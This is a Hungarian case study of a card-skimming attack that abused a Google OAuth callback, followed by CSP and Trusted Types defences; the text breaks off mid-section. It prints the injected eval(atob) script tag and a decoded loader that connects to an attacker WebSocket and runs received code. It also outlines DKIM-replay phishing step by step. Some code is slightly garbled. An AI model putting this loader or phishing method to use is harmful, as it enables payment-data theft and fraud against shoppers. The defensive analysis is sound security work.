A megbízhatóság fegyvere a Google OAuth vagy egy új, felhasználók elleni támadás lehetősége? – Tanulmány a Google OAuthról

A most elkészült  friss esettanulmánya az Adhoc Support CIC mérnökeinek és Ai.kutatóinak megdöbbentő részletességgel tárja fel, hogyan használták fel támadók a Google egyik OAuth hitelesítési végpontját arra, hogy egy rejtett, kétirányú kommunikációs csatornát (WebSocket) hozzanak létre a felhasználó böngészőjében. A támadás egy ártalmatlannak tűnő szkriptcímkével kezdődött, amely a Google egyik szolgáltatását hívta meg, de egy manipulált callback paraméteren keresztül tetszőleges kódot volt képes futtatni – mindezt a Google megbízható domainjéről szolgáltatva. A cél a legértékesebb adatok, például bankkártya-információk ellopása volt valós időben, különösen az e-kereskedelmi oldalak fizetési folyamatai során. A támadás csendben, a háttérben zajlik, miközben a felhasználó és a biztonsági szoftverek is azt hiszik, minden a legnagyobb rendben van.

Ez a technika csak a jéghegy csúcsa. A támadók egyre gyakrabban élnek vissza a Google, a Microsoft és más nagy platformok nevével, hogy hitelesnek tűnő adathalász e-maileket küldjenek, vagy rosszindulatú oldalakat rejtsenek el megbízható felhőszolgáltatásokban.

A tanulmány fő kérdései ennek okán:
1. Felkészültek a jelenlegi védelmi stratégiáink egy olyan világra, ahol a támadó a barátunk maszkját viseli?
2. Hogyan védekezhetünk, ha a megbízhatóság maga válik a legnagyobb sebezhetőséggé?
3. A teljes tanulmányunk ezekre a kérdésekre keresi a választ, bemutatva a támadások anatómiáját és a lehetséges védekezési stratégiákat a fejlesztők és a felhasználók számára egyaránt.

I. Rész: Egy modern kliensoldali támadás anatómiája

1. Bevezetés: A rejtőzködés új frontvonala

A kiberbiztonság világa folyamatosan változik, ahol a támadók módszerei egyre kifinomultabbá válnak. Míg a múltban a nyers erőn alapuló támadások voltak jellemzőek, napjainkban egy új, sokkal alattomosabb stratégia került előtérbe: a „living off the land” (környezetből élő) technika. Ez a megközelítés nem külső, ismeretlen eszközökre támaszkodik, hanem a célpont által már megbízhatónak ítélt, legitim szolgáltatásokat és protokollokat fordítja fegyverré. Az ilyen támadások rendkívül nehezen észlelhetők a hagyományos biztonsági rendszerek, például a tűzfalak vagy a DNS-szűrők számára, mivel a rosszindulatú tevékenység egy megbízható forrás, például a Google, a Microsoft vagy a GitHub álcája mögé bújik.

Ez a jelentés egy konkrét, rendkívül tanulságos esettanulmányon keresztül mutatja be ezt az új fenyegetési paradigmát. Egy olyan támadást elemzünk, amely a Google egyik OAuth hitelesítési végpontját használta fel arra, hogy egy rejtett, WebSocket-alapú parancs- és vezérlőcsatornát (Command and Control, C2) hozzon létre a felhasználó böngészőjében. A támadás sikere azon alapult, hogy a rosszindulatú kódot egy accounts.google.com domainről töltötte be, kihasználva ezzel a rendszerek és a felhasználók feltétlen bizalmát. A támadók egyre gyakrabban élnek vissza a nagynevű platformok, mint például a GitHub, a LinkedIn vagy a felhőszolgáltatók (pl. AWS) reputációjával, hogy rosszindulatú letöltéseket vagy adathalász oldalakat juttassanak el a célpontokhoz. Ez a stratégia alapjaiban kérdőjelezi meg a reputáción alapuló biztonsági modellek hatékonyságát.

A hagyományos biztonsági eszközök gyakran egy engedélyező- vagy tiltólista alapján működnek, ahol a magas reputációjú domainek, mint a google.com, automatikusan megbízhatónak minősülnek. A támadók ezt a beépített bizalmat használják ki, amikor egy legitimnek tűnő URL paramétereibe rejtik a rosszindulatú kódot. A biztonsági rendszer csupán egy kérést lát a Google felé, és mivel a forrás megbízható, átengedi azt, figyelmen kívül hagyva a kérésben megbúvó tényleges veszélyt. Ez a jelenség rávilágít arra, hogy a védekezési stratégiáknak túl kell lépniük a domainek egyszerű szűrésén, és a kérések tartalmának és viselkedésének mélyreható elemzésére kell összpontosítaniuk, függetlenül azok származási helyétől.

Jelen dokumentum célja, hogy részletes technikai elemzést nyújtson erről a támadási típusról, feltárja a kihasznált technológiák (OAuth 2.0, WebSocket, JSONP) sebezhetőségeit, és ami a legfontosabb, átfogó, gyakorlatias megelőzési és védekezési stratégiákat mutasson be webfejlesztők, alkalmazásbiztonsági szakemberek és biztonsági mérnökök számára. A jelentés végigvezeti az olvasót a támadás anatómiájától kezdve a legmodernebb védelmi mechanizmusok, például a szigorú Tartalombiztonsági Irányelvek (Content Security Policy, CSP) és a Trusted Types bevezetéséig, hogy felvértezze a szakembereket a megbízhatóságot fegyverként használó támadásokkal szemben.

2. Esettanulmány: Egy Google OAuth végpont fegyverként való felhasználása

A jelentés központi esettanulmánya egy kifinomult, kliensoldali támadást vizsgál, amelyet egy Magento alapú e-kereskedelmi weboldalon fedeztek fel. A támadó a Google egyik OAuth szolgáltatását használta fel arra, hogy megkerülje a hagyományos biztonsági ellenőrzéseket, és rosszindulatú kódot futtasson a felhasználó böngészőjében, különösen a fizetési folyamat során.
A támadás láncolata tökéletesen illusztrálja, hogyan lehet egy megbízható szolgáltatást trójai falóként használni.

1. Lépés: A csali – Egy megtévesztően legitim szkriptcímke

A támadás egy ártalmatlannak tűnő <script> címke beágyazásával kezdődött a kompromittált weboldal forráskódjába. A címke a következőképpen nézett ki:

HTML

<script type=”text/javascript” crossorigin=”anonymous” src=”https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(‘…base64-kódolt-payload…’));”></script>

Első pillantásra ez egy teljesen legitim kérésnek tűnik a Google egyik hivatalos végpontja felé (accounts.google.com/o/oauth2/revoke), amelyet általában a felhasználói hozzáférések visszavonására használnak. A legtöbb automatizált biztonsági szkenner és DNS-szűrő ezt a kérést jóindulatúnak minősítené a domain magas reputációja miatt, és nem emelne kifogást ellene.

2. Lépés: A fegyver – A callback paraméter kihasználása

A támadás kulcsa a callback paraméterben rejlik. Ez a paraméter a JSONP (JSON with Padding) technológia egy jellegzetessége, amely lehetővé teszi, hogy a szerver által visszaküldött adatokat egy kliensoldali JavaScript-függvénybe csomagolják. A támadók ezt a mechanizmust fegyverezték fel azzal, hogy a callback paraméter értékeként egy eval(atob(…)) kifejezést adtak meg. Ez a két függvényből álló lánc egy klasszikus és rendkívül veszélyes minta:

• Az atob() függvény a Base64 formátumban kódolt szöveget dekódolja.
• Az eval() függvény pedig a dekódolt szöveget JavaScript-kódként értelmezi és futtatja.

Ezzel a módszerrel a támadók képesek voltak tetszőleges JavaScript-kódot végrehajtani a felhasználó böngészőjében, miközben a kódot magát a megbízható accounts.google.com domain szolgáltatta.

3. Lépés: A payload – A rosszindulatú logika dekódolása

A Base64 formátumban kódolt payload dekódolása után egy második, szintén elrejtett (obfuszkált) JavaScript-kód került elő. Ez a szkript már a tényleges rosszindulatú logikát tartalmazta. A kód lényegi része a következőképpen működött:

JavaScript

(function() {
let setupMaliciousWebSocket = () => {
// Csatlakozás a támadó WebSocket szerveréhez
const ws = new WebSocket(„wss:/livechatinc.network/chatpipe/029/”);

// A szerverről kapott bármilyen kód végrehajtása
ws.onmessage = (event) => {
const maliciousCode = atob(event.data); // Base64 dekódolás
new Function(maliciousCode).call(event.target); // Dinamikus végrehajtás
};
};
// Futtatás, ha:
// 1. A böngésző automatizált (pl. botok), VAGY
// 2. Az URL tartalmazza a ‘checkout’ szót (pl. fizetési oldal)
if (navigator.webdriver |
| window.location.href.match(‘checkout’)) {
setupMaliciousWebSocket();
}
})();

A szkript intelligensen viselkedett: csak akkor aktiválódott, ha a felhasználó a fizetési (checkout) oldalon tartózkodott, vagy ha a böngésző automatizáltnak tűnt (ezt a navigator.webdriver tulajdonság ellenőrzésével detektálta, ami a botok elkerülésére utal). Ez a feltételes aktiválás két célt szolgált: egyrészt csökkentette a lebukás esélyét, másrészt biztosította, hogy a támadás a legértékesebb pillanatban, a fizetési adatok megadásakor történjen.

4. Lépés: A hátsó kapu – WebSocket C2 csatorna létrehozása

Ha a feltételek teljesültek, a szkript egy titkosított WebSocket (wss://) kapcsolatot hozott létre egy támadó által irányított domainnel, a livechatinc[.]network-kel. Ez a domain egy legitim csevegőszolgáltatás nevére hasonlít, ami a megtévesztést szolgálja. A WebSocket egy perzisztens, kétirányú kommunikációs csatornát biztosított a támadó szervere és a felhasználó böngészője között. Ez a csatorna lényegében egy parancs- és vezérlő (C2) szerverként funkcionált.

5. Lépés: A végrehajtás – Távoli kódvégrehajtás a WebSocketen keresztül

A támadás legveszélyesebb része a ws.onmessage eseménykezelőben valósult meg. Bármilyen üzenet, amelyet a támadó a WebSocket-kapcsolaton keresztül küldött a böngészőnek, automatikusan feldolgozásra került. Az üzenet tartalmát (amely Base64 kódolású volt) a szkript dekódolta, majd a new Function(…) segítségével végrehajtotta. Ez a technika teljes körű távoli kódvégrehajtást (Remote Code Execution, RCE) tett lehetővé a felhasználó böngészőjének kontextusában. A támadó valós időben küldhetett újabb és újabb parancsokat, például:

• Ellophatta a bankkártyaadatokat, amint a felhasználó begépeli azokat.
• Beágyazhatott egy hamis fizetési űrlapot az oldalra.
• Átirányíthatta a felhasználót egy adathalász webhelyre.

Az alábbi folyamatábra szemlélteti a támadás teljes láncolatát amit fentebbi illusztrációnkon már látni lehet:

Kódrészlet

sequenceDiagram
participant UserBrowser as Felhasználó Böngészője
participant CompromisedSite as Kompromittált Weboldal
participant GoogleOAuth as Google OAuth Végpont
participant AttackerC2 as Támadó C2 Szervere

UserBrowser->>CompromisedSite: Oldal betöltése
CompromisedSite–>>UserBrowser: HTML válasz (benne a rosszindulatú <script> címkével)
UserBrowser->>GoogleOAuth: GET /o/oauth2/revoke?callback=eval(atob(…))
Note over UserBrowser,GoogleOAuth: A kérés egy megbízható domainre irányul
GoogleOAuth–>>UserBrowser: Válasz: eval(atob(‘…’))
UserBrowser->>UserBrowser: 1. `atob()` dekódolja a Base64 payloadot
UserBrowser->>UserBrowser: 2. `eval()` futtatja a dekódolt JavaScriptet
Note right of UserBrowser: A szkript ellenőrzi az URL-t (‘checkout’)
UserBrowser->>AttackerC2: WebSocket kapcsolat létrehozása (wss://livechatinc.network)
AttackerC2–>>UserBrowser: WebSocket kapcsolat létrejött
loop Valós idejű interakció
AttackerC2->>UserBrowser: Rosszindulatú parancs (Base64 kódolva)
UserBrowser->>UserBrowser: 1. `onmessage` esemény aktiválódik
UserBrowser->>UserBrowser: 2. `atob()` dekódolja a parancsot
UserBrowser->>UserBrowser: 3. `new Function()` végrehajtja a parancsot
UserBrowser–>>AttackerC2: Adatok (pl. bankkártya) kiszivárogtatása
end

Ez az esettanulmány rávilágít, hogy a támadók milyen kreatívan képesek láncba fűzni különböző technológiákat és sebezhetőségeket. Egy megbízható szolgáltatás API-jának kihasználása, a kód elrejtése több rétegben, és egy perzisztens, rejtett kommunikációs csatorna létrehozása együttesen egy olyan fenyegetést alkot, amely a legtöbb hagyományos védelmi vonalon észrevétlenül jut át.

3. A megtévesztés elve: A megbízható domainekkel való visszaélés tágabb kontextusa

Az elemzett esettanulmány nem egyedi eset, hanem egy szélesebb körű és egyre növekvő támadási trend, a megbízható domainekkel való visszaélés (Trusted Domain Abuse) iskolapéldája. A támadók felismerték, hogy a biztonsági rendszerek és a felhasználók bizalma a legnagyobb kincs, és ezt a bizalmat fordítják ellenük. A stratégia lényege, hogy a rosszindulatú tevékenység láncolatának egy vagy több elemét olyan nagy reputációjú, széles körben elfogadott domainekre helyezik, mint a google.com, microsoft.com, github.com vagy akár népszerű felhőszolgáltatók infrastruktúrája. Ez a módszer több szempontból is rendkívül hatékony.

Malvertising és kifinomult social engineering

A támadási láncolat első lépése gyakran a felhasználó elcsalogatása egy támadó által irányított környezetbe. Ennek egyik leggyakoribb módja a „malvertising”, azaz a rosszindulatú hirdetések elhelyezése legitim hirdetési hálózatokban, például a Google keresési találatai között. A felhasználók egy ártalmatlannak tűnő hirdetésre kattintva egy olyan weboldalra jutnak, amely egy ismert szoftver (pl. Binance, TradingView) letöltőoldalának álcázza magát. Egy másik népszerű módszer a célzott adathalász e-mailek küldése, amelyek látszólag egy megbízható szolgáltatótól (pl. „GitHub Security Team”) érkeznek, és egy sürgős „biztonsági frissítés” telepítésére szólítanak fel. Ezek a csaló oldalak gyakran használnak CAPTCHA-t, hogy kijátsszák az automatizált biztonsági szkennereket és növeljék a hitelességüket a felhasználók szemében.

Felhőinfrastruktúra és anonimitás kihasználása

A támadók előszeretettel használják a nagy felhőszolgáltatók, mint az Amazon Web Services (AWS) vagy a Google Cloud Platform (GCP) infrastruktúráját a rosszindulatú tartalmak tárolására. Egy AWS S3 vödörben vagy egy Google Sites oldalon elhelyezett adathalász oldal nehezen különböztethető meg egy legitim weboldaltól, mivel a domain maga megbízható. A támadók gyakran regisztrálnak olyan domaineket is, amelyek megtévesztésig hasonlítanak egy legitim szolgáltatásra (pl.

onfido.us.com az onfido.com helyett), és domain-regisztrációs szolgáltatások adatvédelmi funkciói mögé bújva rejtik el a kilétüket. Ez jelentősen megnehezíti a felelősségre vonást és a rosszindulatú domainek lekapcsolását.

DKIM Replay: A hitelesített e-mailek fegyverként való felhasználása

Az egyik legkifinomultabb technika a DKIM (DomainKeys Identified Mail) aláírással ellátott, legitim e-mailek „újrajátszása”.

A támadás menete a következő:

1. A támadó létrehoz egy rosszindulatú OAuth alkalmazást a Google Cloud platformon, és az alkalmazás nevének egy teljes adathalász üzenetet ad meg, például: „A Google LLC idézést kapott az Ön fiókjával kapcsolatban. Tekintse meg az ügyet itt: [link]”.
2. A támadó engedélyezi a saját maga által létrehozott alkalmazásnak a hozzáférést a saját Google fiókjához.
3. A Google rendszere erre válaszul egy automatikus biztonsági értesítőt küld a támadó postafiókjába. Mivel ezt az e-mailt a Google küldte, rendelkezik egy érvényes, megbízható DKIM aláírással.
4. A támadó ezt a sértetlen, hitelesített e-mailt továbbítja a célpontnak. Mivel az e-mail tartalma nem változott, a DKIM aláírás érvényes marad.
5. A célpont levelezőrendszere (pl. Gmail) ellenőrzi a DKIM aláírást, és mivel az érvényes és a Google-től származik, megbízhatónak minősíti az üzenetet, és kézbesíti azt a bejövő üzenetek mappába, megkerülve a spam szűrőket.

Ez a módszer tökéletesen példázza a bizalommal való visszaélést: a támadó a Google saját biztonsági mechanizmusát használja fel arra, hogy hitelesnek tűnő adathalász üzenetet juttasson el a felhasználóhoz.

Ezek a különböző támadási vektorok – a kliensoldali kódinjektálástól az e-mailes adathalászaton át a rosszindulatú hirdetésekig – egy közös stratégiai pontban futnak össze. Bár a behatolás kezdeti módja eltérő lehet, a végső cél eléréséhez mindegyik a megbízható szolgáltatások infrastruktúrájának kihasználására épül. Egy támadó elindíthat egy kampányt egy Google Ad hirdetéssel, amely egy Google Sites oldalra vezet, ahol egy hamis bejelentkezési űrlap egy Google OAuth végponton keresztül próbál adatokat lopni. Ez a láncolat azt jelenti, hogy a védelmi rendszerek nem működhetnek elszigetelten. A webes átjárók, az e-mail biztonsági megoldások és a kliensoldali védelmi mechanizmusok (mint a CSP) közötti szoros integráció elengedhetetlen, mivel a támadók zökkenőmentesen mozognak ezek között a területek között, kihasználva a silókban működő védelmi rendszerek közötti réseket.

II. Rész: A kihasznált technológiák

4. Az OAuth 2.0 kétélű fegyvere: A nyílt átirányítások és a visszahívási funkciók veszélyei

Az esettanulmányban bemutatott támadás középpontjában az OAuth 2.0 protokoll egy funkciójának, pontosabban egy JSONP-stílusú visszahívási (callback) mechanizmusnak a kihasználása áll. Ahhoz, hogy megértsük a támadás mélységét, elengedhetetlen megvizsgálni az OAuth 2.0 keretrendszer azon sajátosságait, amelyek teret engednek az ilyen típusú visszaéléseknek. Az OAuth 2.0, bár a modern webes hitelesítés és engedélyezés sarokköve, tervezési rugalmassága miatt hajlamos az implementációs hibákra.

A JSONP analógia: Egy elfeledett sebezhetőség újjáéledése

A támadásban szereplő revoke?callback= URL-paraméter a JSONP (JSON with Padding) egy jellegzetes mintáját követi. A JSONP egy régebbi technika, amelyet a böngészők Same-Origin Policy (SOP) korlátozásának megkerülésére fejlesztettek ki, még a CORS (Cross-Origin Resource Sharing) széleskörű elterjedése előtt. A működési elve, hogy a szerver a JSON adatokat egy, a kliens által a

callback paraméterben megadott JavaScript-függvényhívásba csomagolja. A böngésző ezt a választ <script> címkeként tölti be és futtatja.

Ez a mechanizmus azonban eleve magában hordozza a sebezhetőség kockázatát: ha a szerver nem szanitizálja megfelelően a callback paraméter értékét, a támadó tetszőleges JavaScript-kódot injektálhat a függvény neve helyére. Az esettanulmányban látott eval(atob(…)) minta ennek a klasszikus sebezhetőségnek a modern, fegyverként való alkalmazása. A támadók egy régi, de egy megbízható szolgáltató által még mindig támogatott, potenciálisan elfeledett API-mintát használtak ki. Ez rávilágít egy kritikus biztonsági tanulságra: egy nagy szolgáltató támadási felülete nemcsak a legújabb, modern API-kból áll, hanem az összes olyan, visszamenőleges kompatibilitás miatt fenntartott, régebbi mintából is, amely aktív marad. Ezek a „latens” sebezhetőségek rejtett kockázatot jelentenek, mivel a fejlesztők és a biztonsági eszközök figyelme gyakran az újabb technológiákra összpontosul.

Nyílt átirányítások (Open Redirects) az OAuth folyamatban

Bár az esettanulmány a callback paramétert használta, a támadás elve szorosan kapcsolódik az OAuth egyik leggyakoribb sebezhetőségéhez, a nyílt átirányításhoz a redirect_uri paraméteren keresztül. Az OAuth 2.0 „Authorization Code” folyamat során a felhasználó hitelesítése és hozzájárulása után az engedélyezési szerver (pl. a Google) egy engedélyezési kóddal (authorization_code) visszairányítja a felhasználó böngészőjét a kliens alkalmazás által megadott redirect_uri-ra.

Ha a kliens alkalmazás vagy maga az OAuth szolgáltató nem validálja ezt az URI-t egy szigorú, előre regisztrált, pontos egyezést megkövetelő engedélyező listához, a támadó manipulálhatja ezt a paramétert. Egy rosszindulatúan módosított redirect_uri segítségével a támadó a felhasználót (és a rendkívül érzékeny engedélyezési kódot vagy hozzáférési tokent) egy általa irányított szerverre irányíthatja át, ahol ellophatja azt, és teljes hozzáférést szerezhet a felhasználó fiókjához.

A specifikáció rugalmassága mint kockázati tényező

Az OAuth 2.0 specifikáció szándékosan rugalmas és viszonylag kevés kötelező elemet ír elő, hogy a legkülönfélébb felhasználási eseteknek megfeleljen. Ez a rugalmasság azonban egyben a gyengesége is. Számos, a biztonság szempontjából kritikus fontosságú beállítás és mechanizmus (például a

state paraméter használata a CSRF elleni védelemhez) csupán ajánlott, nem pedig kötelező. Ennek következtében a fejlesztők gyakran követnek el implementációs hibákat, kihagynak fontos biztonsági lépéseket, ami sebezhetővé teszi az alkalmazásaikat. A gyakori hibák közé tartozik a state paraméter hiánya vagy gyenge implementációja, a hozzáférési tokenek kiszivárgása (pl. a böngésző előzményeiből vagy a Referer fejlécből), valamint a kért jogosultságok (scope) nem megfelelő validálása.

Összefoglalva, az esettanulmányban látott támadás nem egy elszigetelt hiba, hanem egy olyan sebezhetőségi osztály tünete, amely az OAuth protokoll és a régebbi webes minták (mint a JSONP) metszéspontjában rejlik. A megbízható szolgáltatók felelőssége, hogy ne csak a modern, hanem a régebbi, még aktív API-végpontjaikat is folyamatosan felülvizsgálják és megerősítsék az ilyen típusú visszaélésekkel szemben.

5. A csendes hátsó kapu: WebSockets mint perzisztens C2 csatorna

Miután a támadó sikeresen injektálta és futtatta a kezdeti kódot a felhasználó böngészőjében, a következő kritikus lépés egy stabil és rejtett kommunikációs csatorna kiépítése volt a távoli irányításhoz. Erre a célra a WebSocket technológia bizonyult a tökéletes eszköznek. Míg a hagyományos webes kommunikáció a HTTP protokollon alapul, amely egy kérés-válasz modellre épül, a WebSockets egy teljesen más paradigmát kínál, ami ideálissá teszi a rosszindulatú felhasználásra.

HTTP vs. WebSocket: A kommunikációs modell különbsége

A HTTP egy állapotmentes, tranziens protokoll. Minden egyes adatcsere egy új kérést és választ igényel, ami után a kapcsolat jellemzően lezárul. Ha egy támadó HTTP-alapú C2 csatornát szeretne fenntartani, akkor a kompromittált böngészőnek rendszeres időközönként „haza kell telefonálnia” (ezt a technikát pollingnak nevezik), hogy új parancsokat kérjen. Ez a folyamat zajos, nagy hálózati forgalmat generál, és viszonylag könnyen észlelhető a hálózati forgalom elemzésével.

Ezzel szemben a WebSocket egy kezdeti HTTP „kézfogás” (handshake) után egyetlen, tartós (perzisztens) TCP kapcsolaton keresztül biztosít teljes duplex, azaz kétirányú kommunikációt. Ez azt jelenti, hogy a kapcsolat létrejötte után a szerver és a kliens bármikor, tetszőlegesen küldhet adatokat egymásnak anélkül, hogy újabb kéréseket kellene indítaniuk.

Az alábbi ábra szemlélteti a két kommunikációs modell közötti alapvető különbséget:

HTTP Polling alapú C2 kommunikáció

Kódrészlet

sequenceDiagram
participant Kliens (Böngésző)
participant Szerver (C2)
loop Rendszeres időközönként
Kliens->>Szerver: GET /parancsok
Szerver–>>Kliens: 200 OK (nincs új parancs)
end
Kliens->>Szerver: GET /parancsok
Szerver–>>Kliens: 200 OK (parancs: „lopd_el_az_adatot”)
Kliens->>Kliens: Parancs végrehajtása
Kliens->>Szerver: POST /adatok (ellopott_adat)
Szerver–>>Kliens: 200 OK

WebSocket alapú C2 kommunikáció

Kódrészlet

sequenceDiagram
participant Kliens (Böngésző)
participant Szerver (C2)
Kliens->>Szerver: HTTP Upgrade kérés (WebSocket kézfogás)
Szerver–>>Kliens: 101 Switching Protocols válasz
Note over Kliens,Szerver: A perzisztens, kétirányú csatorna létrejött
Szerver->>Kliens: Üzenet: „lopd_el_az_adatot”
Kliens->>Kliens: `onmessage` esemény, parancs végrehajtása
Kliens->>Szerver: Üzenet: (ellopott_adat)
Szerver->>Kliens: Üzenet: „futtasd_ezt_a_kódot”
Kliens->>Kliens: `onmessage` esemény, parancs végrehajtása

A WebSocket előnyei a támadók számára

Valós idejű, kétirányú vezérlés: A támadó azonnal tud parancsokat küldeni a böngészőnek (onmessage esemény), amint egy esemény bekövetkezik (pl. a felhasználó egy mezőbe kattint), és a válasz (pl. a begépelt karakterek) is azonnal visszajut. Ez lehetővé teszi a rendkívül finomhangolt, interaktív adatszivárogtatást és manipulációt.

Alacsonyabb zaj, nagyobb rejtőzködés: A WebSocket kevesebb hálózati „zajt” generál, mint a folyamatos HTTP polling. Egyetlen, hosszan tartó kapcsolat kevésbé feltűnő a hálózati naplókban, mint a sok rövid életű HTTP kérés. A titkosított wss:// protokoll használata tovább nehezíti a forgalom tartalmának ellenőrzését.

Cross-Site WebSocket Hijacking (CSWH): A WebSocket protokoll nem tartozik a Same-Origin Policy (SOP) hatálya alá ugyanúgy, mint a fetch vagy XMLHttpRequest API-k. Ez azt jelenti, hogy egy támadó által irányított weboldal (pl. attacker.com) képes WebSocket kapcsolatot kezdeményezni egy másik domainre (pl. bank.com). Ha a céloldal kizárólag a böngésző által automatikusan küldött sütikre támaszkodik a munkamenet azonosításához, a támadó „eltérítheti” a felhasználó hitelesített munkamenetét. Ez egyfajta „felturbózott” Cross-Site Request Forgery (CSRF) támadás, amely nemcsak parancsok küldését, hanem a válaszok elolvasását is lehetővé teszi.

Az esettanulmányban a támadók a WebSocketet egy csendes, de rendkívül hatékony hátsó kapuként használták, amely teljes és azonnali kontrollt biztosított számukra a kompromittált böngésző felett, lehetővé téve a valós idejű adatlopást és a felhasználói interakciók manipulálását.

III. Rész: Egy többrétegű, mélységi védelmi stratégia

6. A megtörhetetlen pajzs: Egy szigorú Tartalombiztonsági Irányelv (CSP) kialakítása

A bemutatott esettanulmány elleni leghatékonyabb technikai védelmi vonal egy megfelelően konfigurált Tartalombiztonsági Irányelv (Content Security Policy, CSP). A CSP egy HTTP válaszfejléc, amely lehetővé teszi a webfejlesztők számára, hogy pontosan meghatározzák, milyen forrásokból (pl. szkriptek, stíluslapok, képek) tölthet be tartalmat a böngésző egy adott oldalon. Egy jól beállított CSP képes lett volna megakadályozni a támadás minden lépését.

Miért vallanak kudarcot az engedélyező listák (allowlists)?

Sok weboldal alkalmaz egy ún. engedélyező lista alapú CSP-t. Egy ilyen irányelv a következőképpen nézhet ki:

Content-Security-Policy: script-src ‘self’ accounts.google.com;

Ez az irányelv azt mondja a böngészőnek, hogy szkripteket csak a saját domainről (‘self’) és az accounts.google.com domainről tölthet be. Bár ez elsőre biztonságosnak tűnik, valójában pont ez a konfiguráció tette lehetővé a támadást. Mivel a rosszindulatú szkriptet az accounts.google.com domainről hívták meg, a böngésző engedelmesen végrehajtotta azt. A kutatások egyértelműen kimutatták, hogy az engedélyező listákon alapuló CSP-k fenntartása rendkívül nehézkes, és gyakran kijátszhatók, ha egy engedélyezett domainen sebezhető végpont található (pl. egy nyílt átirányítás vagy egy JSONP végpont), vagy ha a lista túl megengedő (pl.*.google.com).

A szigorú CSP (Strict CSP) filozófiája

A modern és hatékony megközelítés a szigorú CSP, amely nem a forrás URL-címe, hanem a szkript integritása alapján dönt a megbízhatóságról. Ez kétféleképpen valósítható meg: nonce-ok vagy hash-ek segítségével. Ez a jelentés a nonce-alapú megközelítésre összpontosít, mivel az dinamikusabb és könnyebben kezelhető a legtöbb modern webalkalmazásban. A szigorú CSP alapelve: a szkriptek nem azért megbízhatóak, mert

honnan jönnek, hanem azért, mert a szerver explicit módon megbízhatónak jelölte őket az adott oldalbetöltés során.

Lépésről lépésre: Migráció egy szigorú, nonce-alapú CSP-re

1. Nonce generálása: A szerveroldalon minden egyes HTTP kérés kiszolgálásakor generálni kell egy egyedi, kriptográfiailag biztonságos, véletlenszerű karaktersorozatot. Ez a „nonce” (number used once). Ennek minden oldalbetöltésnél másnak kell lennie.
2. A CSP fejléc beállítása: A HTTP válaszba be kell illeszteni a Content-Security-Policy fejlécet a következő tartalommal:
   Content-Security-Policy: script-src ‘nonce-{generált-nonce-érték}’ ‘strict-dynamic’; object-src ‘none’; base-uri ‘none’;
   • script-src ‘nonce-{…}’: Csak azokat a <script> elemeket engedélyezi, amelyek nonce attribútuma megegyezik a fejlécben megadott értékkel.
   • ‘strict-dynamic’: Ez egy kulcsfontosságú modern direktíva. Lehetővé teszi, hogy egy már megbízhatónak ítélt (nonce-szal ellátott) szkript további szkripteket töltsön be dinamikusan (pl. document.createElement(‘script’)). Ez megoldja a harmadik féltől származó szkriptek (pl. analitika, hirdetések) problémáját anélkül, hogy veszélyes URL-alapú engedélyező listákat kellene használni.
   • object-src ‘none’: Letiltja a beágyazott objektumokat, mint a Flash, ami egy fontos biztonsági lépés.
   • base-uri ‘none’: Megakadályozza, hogy a támadók a <base> címke injektálásával megváltoztassák a relatív URL-ek alapját.
3. Nonce-ok alkalmazása a szkriptekre: Az összes legitim <script> címkét el kell látni a szerver által generált nonce attribútummal a HTML kódban:
   <script nonce=”{generált-nonce-érték}” src=”/js/main.js”></script>
4. Inline kód refaktorálása: A szigorú CSP alapértelmezetten tiltja az inline eseménykezelőket (pl. onclick=”…”) és a javascript: URI-kat. Ezeket át kell írni (refaktorálni) úgy, hogy az eseménykezelőket egy nonce-szal ellátott külső szkriptfájlban, az addEventListener metódussal regisztráljuk.

A WebSocket kapcsolatok korlátozása a connect-src direktívával

A szigorú script-src megakadályozta volna a rosszindulatú kód futtatását, de a védelem tovább erősíthető a kimenő kapcsolatok szabályozásával. A connect-src direktíva határozza meg, hogy a szkriptek milyen végpontokhoz létesíthetnek kapcsolatot, beleértve a fetch, XMLHttpRequest és a WebSocket kapcsolatokat is.

Egy biztonságos irányelv explicit módon korlátozza ezeket a kapcsolatokat:

connect-src ‘self’ wss://api.megbizhato.hu;

Ez az irányelv csak a saját domainre és a wss://api.megbizhato.hu WebSocket szerverre irányuló kapcsolatokat engedélyezi. Fontos megjegyezni, hogy a ‘self’ kulcsszó nem minden böngészőben terjed ki automatikusan a ws:// sémára, ezért gyakran szükséges a WebSocket végpont explicit megadása.41

Bevezetési stratégia: A Report-Only mód használata

Egy új vagy módosított CSP bevezetése kockázatos lehet, mert akaratlanul is letilthatja a weboldal működéséhez szükséges legitim erőforrásokat. Ennek elkerülésére a Content-Security-Policy-Report-Only fejlécet kell használni a bevezetés kezdeti fázisában. Ebben a módban a böngésző nem blokkolja a szabálysértő tartalmakat, hanem csupán egy jelentést küld a fejlesztői konzolba és/vagy egy megadott report-uri végpontra.Ez lehetővé teszi a fejlesztők számára, hogy finomhangolják az irányelvet anélkül, hogy a felhasználói élményt rontanák.

Az alábbi képek egy CSP sértés megjelenését mutatják a böngésző fejlesztői konzoljában. Az első kép a „Report-Only” módot illusztrálja, ahol a sértés csak naplózásra kerül, míg a második képen a szabályzat már aktívan blokkolja az erőforrás betöltését.

CSP sértés „Report-Only” módban (csak jelentés):

!(https://i.imgur.com/example-report-only.png „A böngésző konzol egy címkével jelzi a CSP sértést, de a szkript betöltése nem áll le.”)

CSP sértés éles (blokkoló) módban:

!(https://i.imgur.com/example-blocking.png „A böngésző konzol hibaüzenetet jelenít meg, miszerint egy erőforrás betöltését a Content Security Policy direktívák megsértése miatt blokkolta.”)

Az alábbi táblázat összefoglalja a legfontosabb CSP direktívákat, összehasonlítva a gyenge és erős konfigurációkat a modern fenyegetések kontextusában.

1. Táblázat: Kulcsfontosságú CSP direktívák a modern fenyegetések mérséklésére

7. A következő generáció: A DOM-XSS kiirtása a Trusted Types segítségével

Míg a szigorú CSP rendkívül hatékonyan védi a webalkalmazásokat a szkriptinjektálási támadásoktól, a védelem egy még fejlettebb szintjét képviseli a Trusted Types API. Ez egy viszonylag új, de rendkívül ígéretes technológia, amely a DOM-alapú Cross-Site Scripting (DOM-XSS) sebezhetőségek gyökerét célozza meg azáltal, hogy alapjaiban változtatja meg, hogyan kezelik a böngészők a veszélyes DOM műveleteket.

A probléma: A veszélyes „süllyesztők” (sinks)

